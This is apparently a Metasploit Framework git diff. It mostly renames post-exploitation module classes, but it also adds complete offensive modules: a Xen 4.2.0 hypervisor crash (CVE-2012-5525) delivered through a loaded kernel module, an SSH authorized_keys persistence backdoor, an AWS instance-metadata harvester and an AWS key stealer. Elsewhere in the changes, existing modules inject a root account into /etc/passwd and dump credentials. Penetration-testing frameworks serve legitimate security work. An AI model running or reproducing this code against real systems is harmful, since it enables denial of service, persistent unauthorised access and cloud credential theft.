This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class MetasploitModule < Msf::Post + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux DoS Xen 4.2.0 2012-5525', + 'Description' => %q( + This module causes a hypervisor crash in Xen 4.2.0 when invoked from a + paravirtualised VM, including from dom0. Successfully tested on Debian 7 + 3.2.0-4-amd64 with Xen 4.2.0.), + 'References' => [ ['CVE', '2012-5525'] ], + 'License' => MSF_LICENSE, + 'Author' => [ 'Christoph Sendner ', + 'Aleksandar Milenkoski '], + 'Platform' => [ 'linux' ], + 'Arch' => [ARCH_X86_64], + 'Targets' => [ ['Linux x86_64', { 'Arch' => ARCH_X86_64 } ] ], + 'SessionTypes' => ['shell'] + ) + ) + + register_options( + [ + OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']) + ], self.class + ) + end + + def run + # Variables + @rand_folder = '/' + Rex::Text.rand_text_alpha(7 + rand(5)).to_s + @writeable_folder = datastore['WritableDir'].to_s + @rand_folder + + # Testing requirements + print_status('Detecting requirements...') + return unless requirements_met? + + # Cearting and writing random paths and files + vprint_status('Creating random file and folder names') + write_files + + # Execute make and insmod + do_insmod + + # Testing success of DoS + test_success + end + + ## + # Test all requirements: + # - root-priviliges + # - build-essentials + # - xen-enviroment (existing, not running) + # - xen-running + # - xen-version (DoS only works on specific versions) + ## + + def requirements_met? + unless is_root? + print_error("Root access is required") + return false + end + print_good('Detected root privilege') + + unless build_essential? + print_error('No build-essential package found') + return false + end + print_good('Detected build-essential') + + unless xen? + print_error('Running Xen was not found') + return false + end + print_good('Detected Xen') + + unless xen_running? + print_error('Xen is not running') + return false + end + print_good('Detected running Xen') + + unless right_xen_version? + print_error('Incorrect Xen version running') + return false + end + print_good('Detected correct Xen version') + + true + end + + ## + # Checks for build essentials + # - Required for building a lkm + # - checks for gcc/g++, make and linux-headers + # - commands sh-conform + ## + + def build_essential? + check_command = 'if [ -s $( which gcc ) ] && ' + check_command << '[ -s $( which g++ ) ] && ' + check_command << '[ -s $( which make ) ] && ' + check_command << '[ "$( dpkg -l | grep linux-headers-$(uname -r) )" != "" ] ;' + check_command << 'then echo OK;' + check_command << 'fi' + + cmd_exec(check_command).delete("\r") == 'OK' + end + + ## + # Checks for running Xen Hypervisor + # - Looks for Xen in lsmod, lscpu, dmesg and /sys/bus + # - commands sh-conform + ## + + def xen? + check_command = 'if [ "$( lsmod | grep xen )" != "" ] || ' + check_command << '[ "$( lscpu | grep Xen )" != "" ] || ' + check_command << '[ "$( dmesg | grep xen )" != "" ] || ' + check_command << '[ "$( which xl )" != "" ] ;' + check_command << 'then echo OK;' + check_command << 'fi' + + cmd_exec(check_command).delete("\r") == 'OK' + end + + ## + # Checks for running Xen + # - Host eventually has Xen installed, but not running + # - DoS needs a running Xen on Host + ## + + def xen_running? + check_command = 'if [ -f /var/run/xenstored.pid -o -f /var/run/xenstore.pid ] ; then echo OK; fi' + + cmd_exec(check_command).delete("\r") == 'OK' + end + + ## + # Checks for Xen Version + # - Most DoS of Xen require a specific version - here: 4.2.0 + # - commands need running Xen - so execute after test for xen + ## + + def right_xen_version? + cmd_major = "xl info | grep xen_major | grep -o '[0-9]*'" + xen_major = cmd_exec(cmd_major).delete("\r") + cmd_minor = "xl info | grep xen_minor | grep -o '[0-9]*'" + xen_minor = cmd_exec(cmd_minor).delete("\r") + cmd_extra = "xl info | grep xen_extra | grep -o '[0-9]*'" + xen_extra = cmd_exec(cmd_extra).delete("\r") + + xen_version = xen_major + '.' + xen_minor + '.' + xen_extra + + print_status('Xen Version: ' + xen_version) + + xen_version == '4.2.0' + end + + ## + # Creating and writing files: + # - c_file for c-code + # - Makefile + ## + + def write_files + @c_name = Rex::Text.rand_text_alpha(7 + rand(5)).to_s + @c_file = "#{@writeable_folder}/#{@c_name}.c" + @make_file = "#{@writeable_folder}/Makefile" + + vprint_status("Creating folder '#{@writeable_folder}'") + cmd_exec("mkdir #{@writeable_folder}") + + vprint_status("Writing C code to '#{@c_file}'") + write_file(@c_file, c_code) + vprint_status("Writing Makefile to '#{@make_file}'") + write_file(@make_file, make_code) + end + + ## + # Compiling and execute LKM + ## + + def do_insmod + cmd_exec("cd #{@writeable_folder}") + vprint_status('Making module...') + cmd_exec('make') + vprint_status("Insmod '#{@writeable_folder}/#{@c_name}.ko'") + cmd_exec("insmod #{@writeable_folder}/#{@c_name}.ko") + end + + ## + # Test for success via ssh-error exception + # - Host down => ssh-error => DoS successful + ## + + def test_success + successful = false + begin + is_root? + rescue RuntimeError => e + successful = true if e.message == 'Could not determine UID: ""' + raise unless successful + ensure + if successful + print_good('DoS was successful!') + else + print_error('DoS has failed') + end + end + end + + ## + # Returns Makefile to compile + # - LKMs need a Makefile + # - Needs the linux-headers, make and gcc + ## + + def make_code + m = <<-END +obj-m := #{@c_name}.o + +EXTRA_CFLAGS+= -save-temps + +all: +\t$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: +\t$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + END + m + end + + ## + # Returns the c-Code to compile + # - Contains the essential bug to crash Xen + # - Here: Force a segmentation fault via hypercall, which crashes the host + ## + + def c_code + c = <<-END +#undef __KERNEL__ +#define __KERNEL__ +#undef MODULE +#define MODULE +#include +#include +MODULE_LICENSE("GPL"); +static int __init lkm_init(void) +{ +struct mmuext_op op; +int status; +op.cmd = 16; /*MMUEXT_CLEAR_PAGE*/ +op.arg1.mfn = 0x0EEEEE; /*A large enough MFN*/ +HYPERVISOR_mmuext_op(&op, 1, &status, DOMID_SELF); +return 0; +} +static void __exit lkm_cleanup(void) +{ +} +module_init(lkm_init); +module_exit(lkm_cleanup); + END + c + end +end diff --git a/modules/post/linux/gather/checkvm.rb b/modules/post/linux/gather/checkvm.rb index c3085a1104..d7feb3cfdf 100644 --- a/modules/post/linux/gather/checkvm.rb +++ b/modules/post/linux/gather/checkvm.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::Priv diff --git a/modules/post/linux/gather/ecryptfs_creds.rb b/modules/post/linux/gather/ecryptfs_creds.rb index 21bbd3f3eb..ca171c856d 100644 --- a/modules/post/linux/gather/ecryptfs_creds.rb +++ b/modules/post/linux/gather/ecryptfs_creds.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb index 8e6ca7cf9d..bff25534cb 100644 --- a/modules/post/linux/gather/enum_configs.rb +++ b/modules/post/linux/gather/enum_configs.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::Linux::System diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb index ba52141294..9fa3847f37 100644 --- a/modules/post/linux/gather/enum_network.rb +++ b/modules/post/linux/gather/enum_network.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::Priv diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index ab18a0c403..97d4ea05a8 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::System diff --git a/modules/post/linux/gather/enum_psk.rb b/modules/post/linux/gather/enum_psk.rb index 9edc2a7ada..6106d81910 100644 --- a/modules/post/linux/gather/enum_psk.rb +++ b/modules/post/linux/gather/enum_psk.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::Priv @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Post end def extract_all_creds - tbl = Rex::Ui::Text::Table.new({ + tbl = Rex::Text::Table.new({ 'Header' => '802-11-wireless-security', 'Columns' => ['AccessPoint-Name', 'PSK'], 'Indent' => 1, diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index e96331fa98..6c9b242fa4 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::System diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index 6feeb24323..8eeead4bf4 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::System diff --git a/modules/post/linux/gather/enum_xchat.rb b/modules/post/linux/gather/enum_xchat.rb index c6a722884d..c4b236a5f4 100644 --- a/modules/post/linux/gather/enum_xchat.rb +++ b/modules/post/linux/gather/enum_xchat.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/linux/gather/gnome_commander_creds.rb b/modules/post/linux/gather/gnome_commander_creds.rb index ef049898e8..93d15bee81 100644 --- a/modules/post/linux/gather/gnome_commander_creds.rb +++ b/modules/post/linux/gather/gnome_commander_creds.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Post # gnome-commander connections file connections_file = "#{dir}/.gnome-commander/connections" if file?(connections_file) - #File exists + #File.exist begin str_file=read_file(connections_file) print_good("File found: #{connections_file}") diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb index eb049ae7da..6a18d942a1 100644 --- a/modules/post/linux/gather/hashdump.rb +++ b/modules/post/linux/gather/hashdump.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::Priv diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb index ed33627410..7c095ff3b1 100644 --- a/modules/post/linux/gather/mount_cifs_creds.rb +++ b/modules/post/linux/gather/mount_cifs_creds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Post # where we'll store hashes of found credentials while parsing. reporting is done at the end. creds = [] # A table to store the found credentials for loot storage afterward - cred_table = Rex::Ui::Text::Table.new( + cred_table = Rex::Text::Table.new( 'Header' => "mount.cifs credentials", 'Indent' => 1, 'Columns' => diff --git a/modules/post/linux/gather/openvpn_credentials.rb b/modules/post/linux/gather/openvpn_credentials.rb index 2ca64520ce..0cd46d392e 100644 --- a/modules/post/linux/gather/openvpn_credentials.rb +++ b/modules/post/linux/gather/openvpn_credentials.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit4 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::Priv diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb index cbdbfb31dd..06641f8603 100644 --- a/modules/post/linux/gather/pptpd_chap_secrets.rb +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Auxiliary::Report @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Post # Extracts client, server, secret, and IP addresses # def extract_secrets(data) - tbl = Rex::Ui::Text::Table.new({ + tbl = Rex::Text::Table.new({ 'Header' => 'PPTPd chap-secrets', 'Indent' => 1, 'Columns' => ['Client', 'Server', 'Secret', 'IP'] diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb index 5e15132d46..548540a9a2 100644 --- a/modules/post/linux/manage/download_exec.rb +++ b/modules/post/linux/manage/download_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Linux::System diff --git a/modules/post/linux/manage/sshkey_persistence.rb b/modules/post/linux/manage/sshkey_persistence.rb new file mode 100644 index 0000000000..8e731cd071 --- /dev/null +++ b/modules/post/linux/manage/sshkey_persistence.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +#require 'msf/core' +#require 'msf/core/post/file' +require 'sshkey' + +class MetasploitModule < Msf::Post + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'SSH Key Persistence', + 'Description' => %q{ + This module will add an SSH key to a specified user (or all), to allow + remote login via SSH at any time. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die ' + ], + 'Platform' => [ 'linux' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Targets' => + [ + [ 'Automatic', {} ] + ], + 'DefaultTarget' => 0 + ) + ) + + register_options( + [ + OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]), + OptPath.new('PUBKEY', [false, 'Public Key File to use. (Default: Create a new one)' ]), + OptString.new('SSHD_CONFIG', [true, 'sshd_config file', '/etc/ssh/sshd_config' ]), + OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for a user', false ]) + ], self.class + ) + end + + def run + if session.type == "meterpreter" + sep = session.fs.file.separator + else + # Guess, but it's probably right + sep = "/" + end + print_status('Checking SSH Permissions') + sshd_config = read_file(datastore['SSHD_CONFIG']) + /^PubkeyAuthentication[\s]+(?yes|no)/ =~ sshd_config + if pub_key && pub_key == 'no' + print_error('Pubkey Authentication disabled') + elsif pub_key + vprint_good("Pubkey set to #{pub_key}") + end + /^AuthorizedKeysFile[\s]+(?[\w%\/\.]+)/ =~ sshd_config + if auth_key_file + auth_key_file = auth_key_file.gsub('%h', '') + auth_key_file = auth_key_file.gsub('%%', '%') + if auth_key_file.start_with? '/' + auth_key_file = auth_key_file[1..-1] + end + else + auth_key_file = '.ssh/authorized_keys' + end + print_status("Authorized Keys File: #{auth_key_file}") + + auth_key_folder = auth_key_file.split('/')[0...-1].join('/') + auth_key_file = auth_key_file.split('/')[-1] + if datastore['USERNAME'].nil? + print_status("Finding #{auth_key_folder} directories") + paths = enum_user_directories.map { |d| d + "/#{auth_key_folder}" } + else + if datastore['USERNAME'] == 'root' + paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"] + else + paths = ["/home/#{datastore['USERNAME']}/#{auth_key_folder}"] + end + vprint_status("Added User SSH Path: #{paths.first}") + end + + if datastore['CREATESSHFOLDER'] == true + vprint_status("Attempting to create ssh folders that don't exist") + paths.each do |p| + unless directory?(p) + print_status("Creating #{p} folder") + cmd_exec("mkdir -m 700 -p #{p}") + end + end + end + + paths = paths.select { |d| directory?(d) } + if paths.nil? || paths.empty? + print_error("No users found with a #{auth_key_folder} directory") + return + end + write_key(paths, auth_key_file, sep) + end + + def write_key(paths, auth_key_file, sep) + if datastore['PUBKEY'].nil? + key = SSHKey.generate + our_pub_key = key.ssh_public_key + loot_path = store_loot("id_rsa", "text/plain", session, key.private_key, "ssh_id_rsa", "OpenSSH Private Key File") + print_good("Storing new private key as #{loot_path}") + else + our_pub_key = ::File.read(datastore['PUBKEY']) + end + paths.each do |path| + path.chomp! + authorized_keys = "#{path}/#{auth_key_file}" + print_status("Adding key to #{authorized_keys}") + append_file(authorized_keys, "\n#{our_pub_key}") + print_good("Key Added") + if datastore['PUBKEY'].nil? + path_array = path.split(sep) + path_array.pop + user = path_array.pop + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: refname, + private_type: :ssh_key, + private_data: key.private_key.to_s, + username: user, + workspace_id: myworkspace_id + } + + create_credential(credential_data) + end + end + end +end diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 578ae8ba22..195d8fe714 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File LP_GROUPS = ['lpadmin', '_lpadmin'] diff --git a/modules/post/multi/escalate/metasploit_pcaplog.rb b/modules/post/multi/escalate/metasploit_pcaplog.rb index ab9535c6c3..558b886fa1 100644 --- a/modules/post/multi/escalate/metasploit_pcaplog.rb +++ b/modules/post/multi/escalate/metasploit_pcaplog.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/local/linux' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post Rank = ManualRanking include Msf::Post::File @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Post def run print_status "Setting up the victim's /tmp dir" - initial_size = cmd_exec("cat /etc/passwd | wc -l") + initial_size = read_file("/etc/passwd").lines.count print_status "/etc/passwd is currently #{initial_size} lines long" i = 0 j = 0 @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Post print_status "Linking /etc/passwd to predictable tmp files (Attempt #{j})" cmd_exec("for i in `seq 0 120` ; do ln /etc/passwd /tmp/msf3-session_`date --date=\"\$i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done") end - current_size = cmd_exec("cat /etc/passwd | wc -l") + current_size = read_file("/etc/passwd").lines.count if current_size == initial_size # PCAP is flowing pkt = "\n\n" + datastore['USERNAME'] + ":" + datastore['PASSWORD'].crypt("0a") + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n" @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Post i = (i+1) % 60 # increment second counter end - if cmd_exec("(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false").include?("true") + if read_file("/etc/passwd").includes?("Metasploit") print_good("Success. You should now be able to login or su to the '" + datastore['USERNAME'] + "' account") # TODO: Consider recording our now-created username and password as a valid credential here. else diff --git a/modules/post/multi/gather/apple_ios_backup.rb b/modules/post/multi/gather/apple_ios_backup.rb index 31d07e1ba0..2169ad9443 100644 --- a/modules/post/multi/gather/apple_ios_backup.rb +++ b/modules/post/multi/gather/apple_ios_backup.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/parser/apple_backup_manifestdb' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File diff --git a/modules/post/multi/gather/aws_ec2_instance_metadata.rb b/modules/post/multi/gather/aws_ec2_instance_metadata.rb new file mode 100644 index 0000000000..cf628e848b --- /dev/null +++ b/modules/post/multi/gather/aws_ec2_instance_metadata.rb @@ -0,0 +1,101 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Post + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Gather AWS EC2 Instance Metadata', + 'Description' => %q( + This module will attempt to connect to the AWS EC2 instance metadata service + and crawl and collect all metadata known about the session'd host. + ), + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jon Hart ' # original metasploit module + ], + # TODO: is there a way to do this on Windows? + 'Platform' => %w(unix), + 'SessionTypes' => %w(shell meterpreter), + 'References' => + [ + [ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ] + ] + ) + ) + + register_advanced_options( + [ + OptString.new('TARGETURI', [true, 'AWS EC2 Instance metadata URI', 'http://169.254.169.254/latest/meta-data/']) + ] + ) + end + + def check_aws_metadata + resp = simple_get(@target_uri) + unless resp =~ /^instance-id.$/m + fail_with(Failure::BadConfig, "Session does not appear to be on an AWS EC2 instance") + end + resp + end + + def check_curl + unless cmd_exec("curl --version") =~ /^curl \d/ + fail_with(Failure::BadConfig, 'curl is not installed') + end + end + + def get_aws_metadata(base_uri, base_resp) + r = {} + base_resp.split(/\r\n/).each do |l| + new_uri = base_uri.merge("./#{l}") + if l =~ %r{/$} + # handle a directory + r[l.gsub(%r{/$}, '')] = get_aws_metadata(new_uri, simple_get(new_uri)) + elsif new_uri.to_s =~ %r{/public-keys/} && /^(?\d+)=/ =~ l + # special case handling of the public-keys endpoint + key_uri = new_uri.merge("./#{key_id}/") + key_resp = simple_get(key_uri) + r[key_id] = get_aws_metadata(key_uri, key_resp) + else + r[l] = simple_get(new_uri) + end + end + r + end + + def run + check_curl + resp = check_aws_metadata + + print_status("Gathering AWS EC2 instance metadata") + metadata = get_aws_metadata(@target_uri, resp) + + metadata_json = JSON.pretty_generate(metadata) + file = store_loot("aws.ec2.instance.metadata", "text/json", session, metadata_json, "aws_ec2_instance_metadata.json", "AWS EC2 Instance Metadata") + + if datastore['VERBOSE'] + vprint_good("AWS EC2 instance metadata") + print_line(metadata_json) + end + print_good("Saved AWS EC2 instance metadata to to #{file}") + end + + def setup + begin + @target_uri ||= URI(datastore['TARGETURI']) + rescue ::URI::InvalidURIError + fail_with(Failure::BadConfig, "Invalid TARGETURI: #{datastore['TARGETURI']}") + end + end + + def simple_get(url) + vprint_status("Fetching #{url}") + cmd_exec("curl #{url}") + end +end diff --git a/modules/post/multi/gather/aws_keys.rb b/modules/post/multi/gather/aws_keys.rb new file mode 100644 index 0000000000..c76815ab40 --- /dev/null +++ b/modules/post/multi/gather/aws_keys.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Post + include Msf::Post::File + include Msf::Post::Unix + + AWS_KEY = 'AWS_ACCESS_KEY_ID' + AWS_SECRET = 'AWS_SECRET_ACCESS_KEY' + S3_KEY = 'access_key' + S3_SECRET = 'secret_key' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'UNIX Gather AWS Keys', + 'Description' => %q( + This module will attempt to read AWS configuration files + (.aws/config, .aws//credentials and .s3cfg) for users discovered + on the session'd system and extract AWS keys from within. + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Jon Hart ' ], + 'SessionTypes' => %w(shell meterpreter), + 'References' => [ + [ 'URL', 'http://s3tools.org/kb/item14.htm' ], + [ 'URL', 'http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files' ] + ] + ) + ) + end + + def get_aws_keys(config_file) + keys_data = [] + config_s = cmd_exec("test -r #{config_file} && cat #{config_file}") + return keys_data if config_s.empty? + aws_config = Rex::Parser::Ini.from_s(config_s) + aws_config.each_key do |profile| + # XXX: Ini assumes anything on either side of the = is the key and value + # including spaces, so we need to fix this + profile_config = Hash[aws_config[profile].map { |k, v| [ k.strip, v.strip ] }] + aws_access_key_id = nil + aws_secret_access_key = nil + profile_config.each_pair do |key, value| + if key == AWS_KEY.downcase || key == S3_KEY + aws_access_key_id = value + end + + if key == AWS_SECRET.downcase || key == S3_SECRET + aws_secret_access_key = value + end + end + next unless aws_access_key_id || aws_secret_access_key + keys_data << [ config_file, aws_access_key_id, aws_secret_access_key, profile ] + end + + keys_data + end + + def get_keys_from_files + keys_data = [] + vprint_status("Enumerating possible user AWS config files") + # build up a list of aws configuration files to read, including the + # configuration files that may exist (rare) + enum_user_directories.map do |user_dir| + vprint_status("Looking for AWS config/credentials files in #{user_dir}") + %w(.aws/config .aws/credentials .s3cfg).each do |possible_key_file| + this_key_data = get_aws_keys(::File.join(user_dir, possible_key_file)) + next if this_key_data.empty? + keys_data <<= this_key_data.flatten + end + end + keys_data + end + + def run + keys_data = get_keys_from_files + return if keys_data.empty? + + keys_table = Rex::Text::Table.new( + 'Header' => "AWS Key Data", + 'Columns' => [ 'Source', AWS_KEY, AWS_SECRET, 'Profile' ] + ) + + keys_data.each do |key_data| + keys_table << key_data + end + + print_line(keys_table.to_s) + end +end diff --git a/modules/post/multi/gather/check_malware.rb b/modules/post/multi/gather/check_malware.rb index 8a2104215d..9f2f5863c7 100644 --- a/modules/post/multi/gather/check_malware.rb +++ b/modules/post/multi/gather/check_malware.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'net/http' require 'uri' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Post print_status("#{rhost} - SHA1: #{sha1}") unless sha1.blank? print_status("#{rhost} - SHA256: #{sha256}") unless sha256.blank? - tbl = Rex::Ui::Text::Table.new( + tbl = Rex::Text::Table.new( 'Header' => "Analysis Report: #{filename} (#{res['positives']} / #{res['total']}): #{res['sha256']}", 'Indent' => 1, 'Columns' => ['Antivirus', 'Detected', 'Version', 'Result', 'Update'] diff --git a/modules/post/multi/gather/dbvis_enum.rb b/modules/post/multi/gather/dbvis_enum.rb index 8c07940817..a3fb949bf2 100644 --- a/modules/post/multi/gather/dbvis_enum.rb +++ b/modules/post/multi/gather/dbvis_enum.rb @@ -8,7 +8,7 @@ require 'msf/core/auxiliary/report' require 'openssl' require 'digest/md5' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Post # New config file parse function def parse_new_config_file(raw_xml) - db_table = Rex::Ui::Text::Table.new( + db_table = Rex::Text::Table.new( 'Header' => "DbVisualizer Databases", 'Indent' => 2, 'Columns' => @@ -219,7 +219,7 @@ class Metasploit3 < Msf::Post # New config file parse function def parse_old_config_file(raw_xml) - db_table = Rex::Ui::Text::Table.new( + db_table = Rex::Text::Table.new( 'Header' => 'DbVisualizer Databases', 'Indent' => 2, 'Columns' => diff --git a/modules/post/multi/gather/dns_bruteforce.rb b/modules/post/multi/gather/dns_bruteforce.rb index 3c987cc114..bce3f19d58 100644 --- a/modules/post/multi/gather/dns_bruteforce.rb +++ b/modules/post/multi/gather/dns_bruteforce.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, @@ -32,34 +32,20 @@ class Metasploit3 < Msf::Post # Run Method for when run command is issued def run - domain = datastore['DOMAIN'] hostlst = datastore['NAMELIST'] a = [] print_status("Performing DNS Forward Lookup Bruteforce for Domain #{domain}") - if session.type =~ /shell/ - # Only one thread possible when shell - thread_num = 1 - # Use the shell platform for selecting the command - platform = session.platform - else - # When in Meterpreter the safest thread number is 10 - thread_num = 10 - # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform - platform = session.sys.config.sysinfo['OS'] - end name_list = [] - if ::File.exists?(hostlst) + if ::File.exist?(hostlst) ::File.open(hostlst).each do |n| name_list << n end end - platform = session.platform - - case platform + case session.platform when /win/i cmd = "nslookup" when /solaris/i @@ -67,8 +53,9 @@ class Metasploit3 < Msf::Post else cmd = "/usr/bin/host " end - while(not name_list.nil? and not name_list.empty?) - 1.upto(thread_num) do + + while !name_list.nil? && !name_list.empty? + 1.upto session.max_threads do a << framework.threads.spawn("Module(#{self.refname})", false, name_list.shift) do |n| next if n.nil? vprint_status("Trying #{n.strip}.#{domain}") diff --git a/modules/post/multi/gather/dns_reverse_lookup.rb b/modules/post/multi/gather/dns_reverse_lookup.rb index 8e562b4db8..ced17b0237 100644 --- a/modules/post/multi/gather/dns_reverse_lookup.rb +++ b/modules/post/multi/gather/dns_reverse_lookup.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post def initialize(info={}) super( update_info( info, @@ -44,21 +44,7 @@ class Metasploit3 < Msf::Post iplst << ipa end - if session.type =~ /shell/ - # Only one thread possible when shell - thread_num = 1 - # Use the shell platform for selecting the command - platform = session.platform - else - # When in Meterpreter the safest thread number is 10 - thread_num = 10 - # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform - platform = session.sys.config.sysinfo['OS'] - end - - platform = session.platform - - case platform + case session.platform when /win/i cmd = "nslookup" when /solaris/i @@ -66,12 +52,13 @@ class Metasploit3 < Msf::Post else cmd = "/usr/bin/host" end - while(not iplst.nil? and not iplst.empty?) - 1.upto(thread_num) do + + while !iplst.nil? && !iplst.empty? + 1.upto session.max_threads do a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add| next if ip_add.nil? r = cmd_exec(cmd, " #{ip_add}") - case platform + case session.platform when /win/ if r =~ /(Name)/ r.scan(/Name:\s*\S*\s/) do |n| diff --git a/modules/post/multi/gather/dns_srv_lookup.rb b/modules/post/multi/gather/dns_srv_lookup.rb index 3ae16da37f..8f989e33d1 100644 --- a/modules/post/multi/gather/dns_srv_lookup.rb +++ b/modules/post/multi/gather/dns_srv_lookup.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Post +class MetasploitModule < Msf::Post include Msf::Auxiliary::Report def initialize(info={}) @@ -55,22 +55,7 @@ class Metasploit3 < Msf::Post a = [] - - if session.type =~ /shell/ - # Only one thread possible when shell - thread_num = 1 - # Use the shell platform for 